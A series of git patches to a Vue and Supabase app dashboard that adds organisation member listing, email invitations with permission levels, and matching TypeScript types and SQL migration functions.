+      },
+      {
+        text: t('button-invite'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+}
 </script>
 
 <template>
@@ -25,7 +52,7 @@ onMounted(async () => {
       <h2 class="mb-5 text-2xl font-bold text-slate-800 dark:text-white">
         {{ t('members') }}
       </h2>
-      <button type="button" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium text-sm px-5 py-2.5 text-center inline-flex items-center mr-2 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">
+      <button type="button" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium text-sm px-5 py-2.5 text-center inline-flex items-center mr-2 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" @click="showInviteModal">
         <Plus />
         {{ t('add-member') }}
       </button>
diff --git a/src/services/supabase.ts b/src/services/supabase.ts
index 571c0cec02..91b2172661 100644
--- a/src/services/supabase.ts
+++ b/src/services/supabase.ts
@@ -1,4 +1,3 @@
-import type { SupabaseClientOptions } from '@supabase/supabase-js'
 import { createClient } from '@supabase/supabase-js'
 
 // import { Http } from '@capacitor-community/http'
@@ -10,7 +9,7 @@ const supbaseId = supabaseUrl.split('//')[1].split('.')[0]
 const supabaseAnonKey = import.meta.env.VITE_SUPABASE_ANON_KEY as string
 
 export function useSupabase() {
-  const options: SupabaseClientOptions<'public'> = {
+  const options = {
     auth: {
       autoRefreshToken: true,
       persistSession: true,
@@ -127,13 +126,16 @@ export async function isGoodPlan(userId: string): Promise<boolean> {
 
 export async function getOrgs(userId: string): Promise<[]> {
   const { data, error } = await useSupabase()
-    .rpc('get_orgs', { userid: userId })
-    .single()
+    .from('orgs')
+    .select('*')
+
   if (error) {
     console.error('getOrgs error', error.message)
-    throw new Error(error.message)
+    throw error
   }
 
+  console.log('orgs data', data)
+
   return data || ['asd']
 }
 
diff --git a/src/stores/display.ts b/src/stores/display.ts
index b75182fff1..2a53080905 100644
--- a/src/stores/display.ts
+++ b/src/stores/display.ts
@@ -11,6 +11,7 @@ export interface ActionSheetOptionButton {
 export interface ActionSheetOption {
   header?: string
   message?: string
+  input?: boolean
   buttons?: ActionSheetOptionButton[]
 }
 
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 1a97d81fea..036f72cf2a 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -1,14 +1,19 @@
 import { defineStore } from 'pinia'
 import { computed, ref } from 'vue'
 import type { ComputedRef, Ref } from 'vue'
+import { useMainStore } from './main'
 import type { Database } from '~/types/supabase.types'
+import { useSupabase } from '~/services/supabase'
 
 type User = Database['public']['Tables']['users']['Row']
-type Organization = Database['public']['Tables']['orgs']['Row']
+export type Organization = Database['public']['Tables']['orgs']['Row']
+type ExtendedOrganizationMembers = Database['public']['Functions']['get_org_members']['Returns']
 // TODO Create user rights in database
 // type Right = Database['public']['Tables']['user_rights']['Row']
 type Right = 'create' | 'read' | 'update' | 'delete'
 
+const supabase = useSupabase()
+
 export const useOrganizationStore = defineStore('organization', () => {
   const _organizations: Ref<Map<string, Organization>> = ref(new Map())
 
@@ -20,16 +25,61 @@ export const useOrganizationStore = defineStore('organization', () => {
     },
   )
 
-  const currentOrganization = ref()
+  const currentOrganization = ref<Organization>()
 
   const setCurrentOrganization = (id: string) => {
     currentOrganization.value = organizations.value.find(org => org.id === id)
   }
 
-  const fetchOrganizations = () => {
-    // ...
-    if (!currentOrganization.value)
-      currentOrganization.value = organizations.value[0]
+  const setCurrentOrganizationFromValue = (value: Organization) => {
+    currentOrganization.value = value
+  }
+
+  const getMembers = async (): Promise<ExtendedOrganizationMembers> => {
+    const currentOrgId = currentOrganization.value?.id
+    if (!currentOrgId)
+      return []
+
+    console.log('fetch members!')
+
+    const uid = (await supabase.auth.getUser()).data.user?.id
+    console.log(uid)
+
+    const { data, error } = await supabase
+      .rpc('get_org_members', {
+        guild_id: currentOrgId,
+      })
+
+    console.log(data)
+    if (error || data === null) {
+      console.log('Cannot get org members!', error)
+      return []
+    }
+
+    return data
+  }
+
+  const fetchOrganizations = async () => {
+    const main = useMainStore()
+
+    console.log('fetch orgs!')
+    // We have RLS that ensure that we only selct rows where we are member or owner
+    const { data, error } = await supabase
+      .from('orgs')
+      .select('*')
+
+    if (error)
+      throw error
+
+    console.log('fetch or d', data)
+    const organization = <Organization | undefined>data[0]
+    if (!organization) {
+      console.log('user has no organization')
+      return
+    }
+
+    _organizations.value = new Map(data.map(item => [item.id, item]))
+    currentOrganization.value = organization
   }
 
   const createOrganization = (name: string, logo?: string) => {
@@ -74,6 +124,8 @@ export const useOrganizationStore = defineStore('organization', () => {
     organizations,
     currentOrganization,
     setCurrentOrganization,
+    setCurrentOrganizationFromValue,
+    getMembers,
     fetchOrganizations,
   }
 })
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index 806cf1031e..d6e5ca5224 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -145,6 +145,7 @@ export interface Database {
           external_url: string | null
           id: number
           name: string
+          native_files_sha256: string[] | null
           session_key: string | null
           storage_provider: string
           updated_at: string | null
@@ -159,6 +160,7 @@ export interface Database {
           external_url?: string | null
           id?: number
           name: string
+          native_files_sha256?: string[] | null
           session_key?: string | null
           storage_provider?: string
           updated_at?: string | null
@@ -173,6 +175,7 @@ export interface Database {
           external_url?: string | null
           id?: number
           name?: string
+          native_files_sha256?: string[] | null
           session_key?: string | null
           storage_provider?: string
           updated_at?: string | null
@@ -416,10 +419,14 @@ export interface Database {
           created_by: string
           disableAutoUpdateToMajor: boolean
           disableAutoUpdateUnderNative: boolean
+          enable_progressive_deploy: boolean
+          enableAbTesting: boolean
           id: number
           ios: boolean
           name: string
           public: boolean
+          secondaryVersionPercentage: number
+          secondVersion: number | null
           updated_at: string
           version: number
         }
@@ -434,12 +441,16 @@ export interface Database {
           created_by: string
           disableAutoUpdateToMajor?: boolean
           disableAutoUpdateUnderNative?: boolean
+          enable_progressive_deploy?: boolean
+          enableAbTesting?: boolean
           id?: number
           ios?: boolean
           name: string
           public?: boolean
+          secondaryVersionPercentage?: number
+          secondVersion?: number | null
           updated_at?: string
-          version: number
+          version?: number
         }
         Update: {
           allow_dev?: boolean
@@ -452,10 +463,14 @@ export interface Database {
           created_by?: string
           disableAutoUpdateToMajor?: boolean
           disableAutoUpdateUnderNative?: boolean
+          enable_progressive_deploy?: boolean
+          enableAbTesting?: boolean
           id?: number
           ios?: boolean
           name?: string
           public?: boolean
+          secondaryVersionPercentage?: number
+          secondVersion?: number | null
           updated_at?: string
           version?: number
         }
@@ -472,6 +487,12 @@ export interface Database {
             referencedRelation: "users"
             referencedColumns: ["id"]
           },
+          {
+            foreignKeyName: "channels_secondVersion_fkey"
+            columns: ["secondVersion"]
+            referencedRelation: "app_versions"
+            referencedColumns: ["id"]
+          },
           {
             foreignKeyName: "channels_version_fkey"
             columns: ["version"]
@@ -770,7 +791,14 @@ export interface Database {
           name?: string
           updated_at?: string | null
         }
-        Relationships: []
+        Relationships: [
+          {
+            foreignKeyName: "orgs_created_by_fkey"
+            columns: ["created_by"]
+            referencedRelation: "users"
+            referencedColumns: ["id"]
+          }
+        ]
       }
       plans: {
         Row: {
@@ -868,6 +896,7 @@ export interface Database {
           app_id: string
           created_at: string | null
           device_id: string
+          id: number
           platform: Database["public"]["Enums"]["platform_os"]
           version: number
           version_build: string
@@ -877,6 +906,7 @@ export interface Database {
           app_id: string
           created_at?: string | null
           device_id: string
+          id?: number
           platform: Database["public"]["Enums"]["platform_os"]
           version: number
           version_build: string
@@ -886,6 +916,7 @@ export interface Database {
           app_id?: string
           created_at?: string | null
           device_id?: string
+          id?: number
           platform?: Database["public"]["Enums"]["platform_os"]
           version?: number
           version_build?: string
@@ -1062,6 +1093,57 @@ export interface Database {
           }
         ]
       }
+      temp: {
+        Row: {
+          app_id: string | null
+          channel_id: number | null
+          created_at: string | null
+          email: string | null
+          id: number | null
+          image_url: string | null
+          org_id: string | null
+          updated_at: string | null
+          user_id: string | null
+          user_right: Database["public"]["Enums"]["user_min_right"] | null
+        }
+        Insert: {
+          app_id?: string | null
+          channel_id?: number | null
+          created_at?: string | null
+          email?: string | null
+          id?: number | null
+          image_url?: string | null
+          org_id?: string | null
+          updated_at?: string | null
+          user_id?: string | null
+          user_right?: Database["public"]["Enums"]["user_min_right"] | null
+        }
+        Update: {
+          app_id?: string | null
+          channel_id?: number | null
+          created_at?: string | null
+          email?: string | null
+          id?: number | null
+          image_url?: string | null
+          org_id?: string | null
+          updated_at?: string | null
+          user_id?: string | null
+          user_right?: Database["public"]["Enums"]["user_min_right"] | null
+        }
+        Relationships: []
+      }
+      unknown_version: {
+        Row: {
+          id: number | null
+        }
+        Insert: {
+          id?: number | null
+        }
+        Update: {
+          id?: number | null
+        }
+        Relationships: []
+      }
       users: {
         Row: {
           billing_email: string | null
@@ -1125,7 +1207,58 @@ export interface Database {
       }
     }
     Views: {
-      [_ in never]: never
+      some_table_augmented: {
+        Row: {
+          action: string | null
+          app_id: string | null
+          created_at: string | null
+          device_id: string | null
+          platform: Database["public"]["Enums"]["platform_os"] | null
+          some_string_field_md5: number | null
+          version: number | null
+          version_build: string | null
+        }
+        Insert: {
+          action?: string | null
+          app_id?: string | null
+          created_at?: string | null
+          device_id?: string | null
+          platform?: Database["public"]["Enums"]["platform_os"] | null
+          some_string_field_md5?: never
+          version?: number | null
+          version_build?: string | null
+        }
+        Update: {
+          action?: string | null
+          app_id?: string | null
+          created_at?: string | null
+          device_id?: string | null
+          platform?: Database["public"]["Enums"]["platform_os"] | null
+          some_string_field_md5?: never
+          version?: number | null
+          version_build?: string | null
+        }
+        Relationships: [
+          {
+            foreignKeyName: "logs_app_id_fkey"
+            columns: ["app_id"]
+            referencedRelation: "apps"
+            referencedColumns: ["app_id"]
+          },
+          {
+            foreignKeyName: "logs_device_id_fkey"
+            columns: ["device_id"]
+            referencedRelation: "devices"
+            referencedColumns: ["device_id"]
+          },
+          {
+            foreignKeyName: "logs_version_fkey"
+            columns: ["version"]
+            referencedRelation: "app_versions"
+            referencedColumns: ["id"]
+          }
+        ]
+      }
     }
     Functions: {
       check_min_rights: {
@@ -1200,6 +1333,14 @@ export interface Database {
         Args: Record<PropertyKey, never>
         Returns: number
       }
+      delete_user: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
+      deleteuser: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
       exist_app: {
         Args: {
           appid: string
@@ -1261,6 +1402,16 @@ export interface Database {
           missing_app_id: string
         }[]
       }
+      find_unknown_version: {
+        Args: {
+          appid: string
+        }
+        Returns: number
+      }
+      get_apikey: {
+        Args: Record<PropertyKey, never>
+        Returns: string
+      }
       get_app_versions: {
         Args: {
           appid: string
@@ -1285,6 +1436,10 @@ export interface Database {
         }
         Returns: string
       }
+      get_db_url: {
+        Args: Record<PropertyKey, never>
+        Returns: string
+      }
       get_devices_version: {
         Args: {
           app_id: string
@@ -1355,6 +1510,33 @@ export interface Database {
         }
         Returns: Database["public"]["CompositeTypes"]["stats_table"]
       }
+      get_org_members: {
+        Args: {
+          guild_id: string
+        }
+        Returns: {
+          id: number
+          created_at: string
+          updated_at: string
+          user_id: string
+          org_id: string
+          app_id: string
+          channel_id: number
+          user_right: Database["public"]["Enums"]["user_min_right"]
+          email: string
+          image_url: string
+        }[]
+      }
+      get_orgs: {
+        Args: {
+          userid: string
+        }
+        Returns: {
+          id: string
+          logo: string
+          name: string
+        }[]
+      }
       get_plan_usage_percent: {
         Args: {
           userid: string
@@ -1450,6 +1632,13 @@ export interface Database {
         }
         Returns: undefined
       }
+      invite_user_to_org: {
+        Args: {
+          email: string
+          org_id: string
+        }
+        Returns: string
+      }
       is_admin: {
         Args: {
           userid: string
@@ -1504,6 +1693,12 @@ export interface Database {
         }
         Returns: boolean
       }
+      is_deleted_user: {
+        Args: {
+          email: string
+        }
+        Returns: boolean[]
+      }
       is_free_usage: {
         Args: {
           userid: string
@@ -1523,12 +1718,33 @@ export interface Database {
         }
         Returns: boolean
       }
+      is_member_of_org:
+        | {
+            Args: {
+              user_id: string
+              org_id: string
+            }
+            Returns: boolean
+          }
+        | {
+            Args: {
+              user_id: string
+              org_id: string
+            }
+            Returns: boolean
+          }
       is_not_deleted: {
         Args: {
           email_check: string
         }
         Returns: boolean
       }
+      is_not_deleted_v2: {
+        Args: {
+          email_check: string
+        }
+        Returns: boolean
+      }
       is_onboarded: {
         Args: {
           userid: string
@@ -1541,6 +1757,13 @@ export interface Database {
         }
         Returns: boolean
       }
+      is_owner_of_org: {
+        Args: {
+          user_id: string
+          org_id: string
+        }
+        Returns: boolean
+      }
       is_paying: {
         Args: {
           userid: string
@@ -1553,12 +1776,6 @@ export interface Database {
         }
         Returns: number
       }
-      get_orgs: {
-        Args:  {
-          userid: string
-        }
-        Retuns: Array<Object>
-      }
       is_version_shared: {
         Args: {
           userid: string
@@ -1588,7 +1805,7 @@ export interface Database {
         | "failed"
         | "deleted"
         | "canceled"
-      user_min_right: "read" | "upload" | "write" | "admin"
+      user_min_right: "invite" | "read" | "upload" | "write" | "admin"
       user_role: "read" | "upload" | "write" | "admin"
     }
     CompositeTypes: {
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 3ad4b3fdac..0f8193ac3f 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -83,7 +83,10 @@ CREATE TYPE "public"."stripe_status" AS ENUM (
     'canceled'
 );
 
+-- @Martin if you are migrating this use this:
+-- ALTER TYPE "user_min_right" ADD VALUE 'invite' BEFORE 'read'
 CREATE TYPE "public"."user_min_right" AS ENUM (
+    'invite'
     'read',
     'upload',
     'write',
@@ -179,7 +182,7 @@ End;
 $$;
 
 CREATE FUNCTION "public"."is_member_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
-    LANGUAGE "plpgsql"
+    LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 Declare
  is_found integer;
@@ -428,7 +431,7 @@ CREATE FUNCTION "public"."get_orgs"("userid" "uuid") RETURNS TABLE(id uuid, logo
 BEGIN
   RETURN QUERY
     SELECT orgs.id, orgs.logo, orgs.name from orgs
-    WHERE created_by = userid;
+    WHERE is_member_of_org(userid, orgs.id) or is_owner_of_org(userid, orgs.id);
 END;  
 $$;
 
@@ -722,6 +725,26 @@ BEGIN
 END;
 $$;
 
+CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid") RETURNS "varchar"
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+ invited_user record;
+Begin
+  SELECT users.id FROM USERS
+  INTO invited_user
+  WHERE users.email=invite_user_to_org.email;
+
+  IF invited_user IS NOT NULL THEN
+    INSERT INTO org_users (user_id, org_id, user_right)
+    VALUES (invited_user.id, invite_user_to_org.org_id, 'invite'::"public"."user_min_right");
+    
+    RETURN '??';
+  ELSE
+    return 'NO_EMAIL';
+  END IF;
+End;
+$$
 
 CREATE FUNCTION "public"."increment_stats"("app_id" character varying, "date_id" character varying, "bandwidth" integer, "version_size" integer, "channels" integer, "shared" integer, "mlu" integer, "mlu_real" integer, "versions" integer, "devices" integer) RETURNS "void"
     LANGUAGE "sql"

From 4da488b7a01010e3509306625c689cb7df680f96 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 31 Aug 2023 09:38:37 +0200
Subject: [PATCH 19/96] Invitations + fixes for members

---
 locales/en.yml                                |   7 ++
 src/components/Dialog.vue                     |   2 +-
 .../settings/organization/General.vue         |   2 +-
 .../settings/organization/Members.vue         | 105 +++++++++++++++++-
 src/stores/organization.ts                    |  11 +-
 src/types/supabase.types.ts                   |  11 +-
 supabase/migrations/20230815171919_base.sql   |  44 ++++++--
 7 files changed, 165 insertions(+), 17 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index 81d44fe011..086e38302e 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -143,6 +143,7 @@ dont-have-an-account: Don’t have an account?
 download: Download
 email: Email
 email-address: Email address
+email-does-not-exist: This user does not exist
 encrypted: Encrypted bundles
 enter-your-email-add: Enter your email address and we'll send you a link to reset your password.
 enter-your-new-passw: Enter your new password and confirm
@@ -170,12 +171,15 @@ install: Installed
 install-the-capacito: Install the Capacitor plugin
 into-your-app-folder: Into your app folder.
 invalid-auth: Your login are not a match, try again.
+invalid-email: Passed email is not valid
 is-emulator: Is Emulator
 is-production-app: Is Production app
+key-admin: Admin
 key-all: All
 key-copied: Key copied in your clipboard
 key-read: Read
 key-upload: Upload
+key-write: Write
 language: Language
 last-name: Last name
 last-update: Last update
@@ -279,6 +283,8 @@ search-by-name: Search by name
 search-device: Search device
 search-user: Search User
 see-usage: See usage
+select-user-perms: Select user's permissions
+select-user-perms-expanded: Select which permission should the invited user have
 session_key: IvSessionKey
 set-bundle: Set bundle to channel
 settings: Settings
@@ -325,6 +331,7 @@ usage-success: Your plan has been setup this page will be update, in few minutes
 usage-title: Total
 use-the-command: 'Use the command:'
 user: User
+user-already-invited: This user is already invited to this organization
 validate: Validate
 version: Version
 version-build: Version build
diff --git a/src/components/Dialog.vue b/src/components/Dialog.vue
index d55e7c865b..59957f95ab 100644
--- a/src/components/Dialog.vue
+++ b/src/components/Dialog.vue
@@ -88,7 +88,7 @@ onMounted(() => {
           <p v-if="!displayStore.dialogOption?.input" class="text-base leading-relaxed prose text-gray-500 break-words dark:text-gray-400" v-html="displayText(displayStore.dialogOption?.message)" />
           <template v-else>
             <div class="flex flex-row max-w-2xl">
-              <input class="border rounded border-gray-200 dark:border-gray-600 bg-white dark:bg-gray-700 w-full ml-4" type="text">
+              <input id="dialog-input-field" class="border rounded border-gray-200 dark:border-gray-600 bg-white dark:bg-gray-700 w-full ml-4" type="text">
             </div>
           </template>
         </div>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 013fb9ebd1..b03f554ca5 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -16,7 +16,7 @@ const supabase = useSupabase()
 const isLoading = ref(true)
 
 onMounted(async () => {
-  await organizationStore.fetchOrganizations()
+  await organizationStore.dedupFetchOrganizations()
   isLoading.value = false
 })
 
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 11bc6c2482..4cf1ba5086 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -2,6 +2,7 @@
 import { onMounted, ref, watch } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { storeToRefs } from 'pinia'
+import { toast } from 'vue-sonner'
 import Trash from '~icons/heroicons/trash'
 import Wrench from '~icons/heroicons/Wrench'
 
@@ -9,12 +10,14 @@ import { useOrganizationStore } from '~/stores/organization'
 import Plus from '~icons/heroicons/plus'
 import type { Database } from '~/types/supabase.types'
 import { useDisplayStore } from '~/stores/display'
+import { useSupabase } from '~/services/supabase'
 
 const { t } = useI18n()
 const displayStore = useDisplayStore()
 
 const organizationStore = useOrganizationStore()
 const { currentOrganization } = storeToRefs(organizationStore)
+const supabase = useSupabase()
 
 const members = ref([] as Database['public']['Functions']['get_org_members']['Returns'])
 
@@ -26,10 +29,20 @@ onMounted(async () => {
   members.value = await organizationStore.getMembers()
 })
 
-function showInviteModal() {
+function validateEmail(email: string) {
+  return String(email)
+    .toLowerCase()
+    .match(
+      /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|.(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/,
+    )
+}
+
+async function showInviteModal() {
+  let permision: Database['public']['Enums']['user_min_right'] | undefined
+  let email: string | undefined
+
   displayStore.dialogOption = {
     header: t('insert-invite-email'),
-    message: 'Email',
     input: true,
     buttons: [
       {
@@ -39,10 +52,98 @@ function showInviteModal() {
       {
         text: t('button-invite'),
         id: 'confirm-button',
+        handler() {
+          const input = document.getElementById('dialog-input-field') as HTMLInputElement | undefined
+          email = input?.value
+
+          if (!email || !input)
+            return
+
+          input.value = ''
+
+          if (!validateEmail(email)) {
+            toast.error(t('invalid-email'))
+            return
+          }
+
+          displayStore.dialogOption = {
+            header: t('select-user-perms'),
+            message: t('select-user-perms-expanded'),
+            buttons: [
+              {
+                text: t('button-cancel'),
+                role: 'cancel',
+              },
+              {
+                text: t('key-read'),
+                role: 'read',
+                handler: () => permision = 'invite_read',
+              },
+              {
+                text: t('key-upload'),
+                role: 'upload',
+                handler: () => permision = 'invite_upload',
+              },
+              {
+                text: t('key-write'),
+                role: 'write',
+                handler: () => permision = 'invite_write',
+              },
+              {
+                text: t('key-admin'),
+                role: 'admin',
+                handler: () => permision = 'invite_admin',
+              },
+            ],
+          }
+          displayStore.showDialog = true
+        },
       },
     ],
   }
   displayStore.showDialog = true
+  await displayStore.onDialogDismiss()
+  if (!permision || !email)
+    return
+
+  console.log(`KEY: ${permision}`)
+  await sendInvitation(email, permision)
+}
+
+async function sendInvitation(email: string, type: Database['public']['Enums']['user_min_right']) {
+  console.log(`Invite ${email} with perm ${type}`)
+
+  const orgId = currentOrganization.value?.id
+  if (!orgId)
+    return
+
+  const { data, error } = await supabase.rpc('invite_user_to_org', {
+    email,
+    org_id: orgId,
+    invite_type: type,
+  })
+
+  if (error)
+    throw error
+
+  console.log('invite data', data)
+  handleSendInvitationOutput(data)
+  members.value = await organizationStore.getMembers()
+}
+
+function handleSendInvitationOutput(output: string) {
+  switch (output) {
+    case 'OK': {
+      return
+    }
+    case 'NO_EMAIL': {
+      toast.error(t('email-does-not-exist'))
+      break
+    }
+    case 'ALREADY_INVITED': {
+      toast.error(t('user-already-invited'))
+    }
+  }
 }
 </script>
 
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 036f72cf2a..7cb8cb9576 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -74,12 +74,18 @@ export const useOrganizationStore = defineStore('organization', () => {
     console.log('fetch or d', data)
     const organization = <Organization | undefined>data[0]
     if (!organization) {
-      console.log('user has no organization')
+      console.log('user has no main organization')
       return
     }
 
     _organizations.value = new Map(data.map(item => [item.id, item]))
-    currentOrganization.value = organization
+    if (!currentOrganization.value)
+      currentOrganization.value = organization
+  }
+
+  const dedupFetchOrganizations = async () => {
+    if (_organizations.value.size === 0)
+      fetchOrganizations()
   }
 
   const createOrganization = (name: string, logo?: string) => {
@@ -127,5 +133,6 @@ export const useOrganizationStore = defineStore('organization', () => {
     setCurrentOrganizationFromValue,
     getMembers,
     fetchOrganizations,
+    dedupFetchOrganizations,
   }
 })
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index d6e5ca5224..2a63ed18c2 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -1636,6 +1636,7 @@ export interface Database {
         Args: {
           email: string
           org_id: string
+          invite_type: Database["public"]["Enums"]["user_min_right"]
         }
         Returns: string
       }
@@ -1805,7 +1806,15 @@ export interface Database {
         | "failed"
         | "deleted"
         | "canceled"
-      user_min_right: "invite" | "read" | "upload" | "write" | "admin"
+      user_min_right:
+        | "invite_read"
+        | "invite_upload"
+        | "invite_write"
+        | "invite_admin"
+        | "read"
+        | "upload"
+        | "write"
+        | "admin"
       user_role: "read" | "upload" | "write" | "admin"
     }
     CompositeTypes: {
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 0f8193ac3f..c31e116f5a 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -86,7 +86,10 @@ CREATE TYPE "public"."stripe_status" AS ENUM (
 -- @Martin if you are migrating this use this:
 -- ALTER TYPE "user_min_right" ADD VALUE 'invite' BEFORE 'read'
 CREATE TYPE "public"."user_min_right" AS ENUM (
-    'invite'
+    'invite_read',
+    'invite_upload',
+    'invite_write',
+    'invite_admin'
     'read',
     'upload',
     'write',
@@ -212,17 +215,25 @@ Begin
 End;
 $$;
 
-CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(id int8, created_at timestamp with time zone, updated_at timestamp with time zone, user_id uuid, org_id uuid, app_id character varying, channel_id int8, user_right user_min_right, email character varying, image_url character varying)
+CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(email character varying, image_url character varying)
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 begin
-  return query select o.*, users.email, users.image_url from org_users as o
+  return query select users.email, users.image_url from org_users as o
   join users on users.id = o.user_id
-  where o.id=guild_id
-  AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id));
+  where o.org_id=get_org_members.guild_id
+  AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id))
+  union all
+  select users.email, users.image_url from users
+  join orgs on orgs.created_by = users.id
+  where orgs.id=get_org_members.guild_id;
 End;
 $$;
 
+
+drop FUNCTION "public"."get_org_members"("guild_id" uuid)
+select get_org_members('034be89b-648b-47c5-8414-6a40c0ab15a6')
+
 CREATE FUNCTION "public"."count_all_need_upgrade"() RETURNS integer
     LANGUAGE "plpgsql"
     AS $$
@@ -725,21 +736,34 @@ BEGIN
 END;
 $$;
 
-CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid") RETURNS "varchar"
+CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid", "invite_type" "public"."user_min_right") RETURNS "varchar"
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 Declare  
  invited_user record;
+ current_record record;
 Begin
   SELECT users.id FROM USERS
   INTO invited_user
   WHERE users.email=invite_user_to_org.email;
 
   IF invited_user IS NOT NULL THEN
-    INSERT INTO org_users (user_id, org_id, user_right)
-    VALUES (invited_user.id, invite_user_to_org.org_id, 'invite'::"public"."user_min_right");
-    
-    RETURN '??';
+    -- INSERT INTO org_users (user_id, org_id, user_right)
+    -- VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
+
+        SELECT org_users.id from org_users 
+        INTO current_record
+        WHERE org_users.user_id=invited_user.id
+        AND org_users.org_id=invite_user_to_org.org_id;
+
+    IF current_record IS NOT NULL THEN
+      RETURN 'ALREADY_INVITED';
+    ELSE
+      INSERT INTO org_users (user_id, org_id, user_right)
+      VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
+      
+      RETURN 'OK';
+    END IF;
   ELSE
     return 'NO_EMAIL';
   END IF;

From d4ea0db0694f16a166aefd1ea4df4b13a60ec2a2 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Sep 2023 20:15:34 +0200
Subject: [PATCH 20/96] Invitations + fix for members

---
 locales/en.yml                                |  8 ++
 .../dashboard/DropdownOrganization.vue        | 95 ++++++++++++++++++-
 .../settings/organization/General.vue         |  4 +-
 .../settings/organization/Members.vue         |  5 +-
 src/services/types.ts                         | 78 +++++++++++++++
 src/stores/organization.ts                    | 33 +++++--
 src/types/supabase.types.ts                   | 27 ++++--
 supabase/migrations/20230815171919_base.sql   | 78 ++++++++++++++-
 8 files changed, 299 insertions(+), 29 deletions(-)
 create mode 100644 src/services/types.ts

diff --git a/locales/en.yml b/locales/en.yml
index 086e38302e..0fdaf766e7 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -31,13 +31,19 @@ add-your-app-to-your: Add your app to your account
 add-your-first-app-t: Add your first app to your account and let's push updates !
 admin: Admin
 afternoon: afternoon
+alert-accept-inviation: Do you accept the invitation to %ORG%?
 alert-add-new-key: Select new API key type
 alert-confirm-delete: Confirm Delete
+alert-confirm-invite: Confirm invitation
 alert-confirm-regenerate: Confirm regenerating API key
 alert-delete-message: Are you sure you want to delete this
+alert-denied-invite: Invitation denied
 alert-generate-new-key: Please select the type of API key that you want to generate.
+alert-no-invite: This invitation does no longer exist
+alert-not-invited: Invalid invitation, cannot accept
 alert-not-reverse-message: This action is not reversible
 alert-regenerate-key: Are you sure you want to regenerate this key
+alert-unknown-error: Unknown error, see dev console
 allow-develoment-bui: Allow develoment build
 allow-device-to-self: Allow devices to self associate
 allow-emulator: Allow Emulators
@@ -70,9 +76,11 @@ button-browse: Browse
 button-camera: Camera
 button-cancel: Cancel
 button-delete: Delete
+button-deny-invite: Deny
 button-go: GO
 button-home: Home
 button-invite: Invite
+button-join: Accept
 button-options: Options
 button-regenerate: Regenerate
 button-remove: Remove
diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index 15b936af9b..bb41cdbbb8 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -2,10 +2,21 @@
 import { Dropdown, initDropdowns } from 'flowbite'
 import { storeToRefs } from 'pinia'
 import { onMounted } from 'vue'
+import { useI18n } from 'vue-i18n'
+import { toast } from 'vue-sonner'
+import type { Organization } from '~/stores/organization'
 import { useOrganizationStore } from '~/stores/organization'
+import { useDisplayStore } from '~/stores/display'
+import { useSupabase } from '~/services/supabase'
+import { useMainStore } from '~/stores/main'
 
 const organizationStore = useOrganizationStore()
 const { currentOrganization, organizations } = storeToRefs(organizationStore)
+const displayStore = useDisplayStore()
+const { t } = useI18n()
+const supabase = useSupabase()
+const main = useMainStore()
+
 let dropdown: Dropdown
 
 onMounted(async () => {
